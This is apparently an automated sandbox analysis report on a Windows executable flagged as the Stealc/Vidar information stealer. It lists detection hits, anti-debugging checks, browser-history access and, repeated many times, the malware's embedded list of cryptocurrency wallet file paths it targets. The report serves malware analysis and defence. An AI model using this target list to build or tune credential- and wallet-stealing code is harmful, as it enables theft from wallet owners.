Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DBKFHCFB.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DBKFHCFB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DBKFHCFB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: DBKFHCFB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C9E5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9E5FF0

Source: C:\Users\user\Desktop\gYjK72gL17.exe

0_2_6C983480

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9BB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C9BB66C
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9BB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C9BB1F7

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C9BB341 cpuid

0_2_6C9BB341

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C9835A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9835A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.gYjK72gL17.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2605576671.00000000001EB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: gYjK72gL17.exe PID: 4512, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: exodus.conf.json
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ElectrumLTC
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Ethereum\
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000275000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
